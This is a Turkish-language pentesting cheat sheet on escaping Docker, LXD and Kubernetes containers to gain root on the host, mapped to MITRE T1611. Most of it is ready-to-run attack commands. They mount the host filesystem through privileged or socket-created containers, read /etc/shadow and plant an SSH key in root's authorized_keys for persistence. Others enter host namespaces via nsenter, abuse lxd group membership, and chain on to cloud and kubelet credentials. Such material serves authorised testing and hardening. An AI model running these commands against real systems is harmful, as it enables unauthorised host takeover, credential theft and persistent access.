Linux Containers & Escape

MITRE ATT&CK · T1611 phase: privilege-escalation

Konteyner escape, konteyner izolasyonundan host işletim sistemine çıkmaktır. Linux PE ile sık kesişir: docker grubu, mount edilmiş docker.sock, --privileged ve fazla capability’ler. Bulut/K8s odaklı derinlik için Container Escape sayfasına bakın; bu sayfa host üzerinde düşük yetkili shell / konteyner foothold senaryosuna odaklanır.

Ortamı tanı

ls -la /.dockerenv 2>/dev/null

cat /proc/1/cgroup

hostname; id; uname -a

capsh --print 2>/dev/null

cat /proc/self/status | grep -i Cap

mount; cat /proc/mounts

ls -la /dev | head -n 50

ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock 2>/dev/null

env | grep -iE 'KUBERNETES|DOCKER|container'

/.dockerenv veya cgroup'ta docker/kubepods  → konteyner içindesin
docker.sock görünür                         → API ile sibling escape
/dev/sda* + yüksek CapEff                   → privileged adayı
hostPath / /host mount                      → doğrudan host FS

docker grubu (host üzerinde)

Host’ta docker grubuna üyeysen socket’e yazabiliyorsun — pratikte root.

id; groups

docker images

docker run -it --rm --privileged -v /:/mnt alpine chroot /mnt /bin/bash

docker run -it --rm -v /:/mnt alpine chroot /mnt /bin/sh

⚡

docker · privileged host mount

embedded tool

ImageHost mount

Generated commandcopy

docker run -it --rm --privileged -v /:/mnt alpine chroot /mnt /bin/bash

docker · privileged host mount

Soket var ama docker CLI yoksa API ile:

curl -s --unix-socket /var/run/docker.sock http://localhost/version

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

curl -s --unix-socket /var/run/docker.sock \
  -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["sleep","3600"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

Privileged konteyner / host disk

--privileged neredeyse tüm capability + host cihaz erişimi verir.

fdisk -l

mkdir /mnt/host

mount /dev/sda1 /mnt/host

cat /mnt/host/etc/shadow | head

echo 'ssh-rsa AAAA... pentest' >> /mnt/host/root/.ssh/authorized_keys

chroot /mnt/host /bin/bash

Capability tabanlı kaçış

capsh --print

CAP_SYS_ADMIN     → mount, cgroup release_agent
CAP_SYS_PTRACE    → hostPID ile süreç enjeksiyonu
CAP_DAC_READ_SEARCH → host dosya okuma teknikleri
CAP_NET_ADMIN     → ağ namespace manipülasyonu (yan etki)

CAP_SYS_ADMIN + yazılabilir cgroup → klasik release_agent ile host komut çalıştırma. PoC akışı ve araçlar için cloud container-escape sayfasındaki adımları kullan; cdk / bilinen PoC’ler yaygın tercihtir.

cat /sys/fs/cgroup/*/release_agent 2>/dev/null

ls -la /sys/fs/cgroup

hostPID / nsenter

Pod veya konteyner hostPID (ve tercihen privileged) ise:

ps aux | head

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

nsenter -t 1 -m -u -i -n -p -- /bin/bash

PID 1 host init ise namespace’ler host ile paylaşılıyordur.

LXD / LXC grup suistimali

lxd grubu üyesi → privileged container → host mount.

id | grep lxd

lxc image list

lxc init ubuntu:20.04 privesc -c security.privileged=true

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

lxc start privesc

lxc exec privesc /bin/bash

chroot /mnt/root /bin/bash

Image yoksa Alpine/busybox rootfs import ederek aynı cihaz mount’u yapılır.

Tehlikeli mount’lar

/var/run/docker.sock

/var/run/containerd/containerd.sock

/:/host veya /host

/etc, /root, /home (kısmi host FS)

/var/log (host log → secret)

/proc (özellikle yazılabilir procfs misconfig)

findmnt

ls -la /host /mnt/host 2>/dev/null

Host FS mount’luysa SSH key, crontab, shadow ve cloud credential hemen loot.

Runtime / çekirdek CVE (özet)

runc --version 2>/dev/null

uname -a

runc CVE-2019-5736     → host runc overwrite (eski)
Dirty Pipe / OverlayFS → konteyner→host bazı senaryolar
CVE-2022-0492 cgroup   → release_agent benzeri

Sürüm eşleşmeden public exploit çalıştırmayın; staging’de doğrulayın.

Metodoloji

1. Konteyner misin, host’ta docker grubu musun — cgroup, sock, groups.

2. sock / privileged / host mount varsa doğrudan FS veya API escape.

3. Capability + cgroup / hostPID yollarını dene.

4. LXD grubu varsa privileged + disk device.

5. Host’ta root sonrası: SSH, cron, IMDS, kubelet credential.

Saldırı zinciri

www-data in docker group → privileged -v /:/mnt → host root → IMDS
App RCE + docker.sock → API privileged sibling → host root
K8s CAP_SYS_ADMIN → release_agent / hostPath → node → cloud SA

İlgili derin sayfa: /cloud/container-escape/.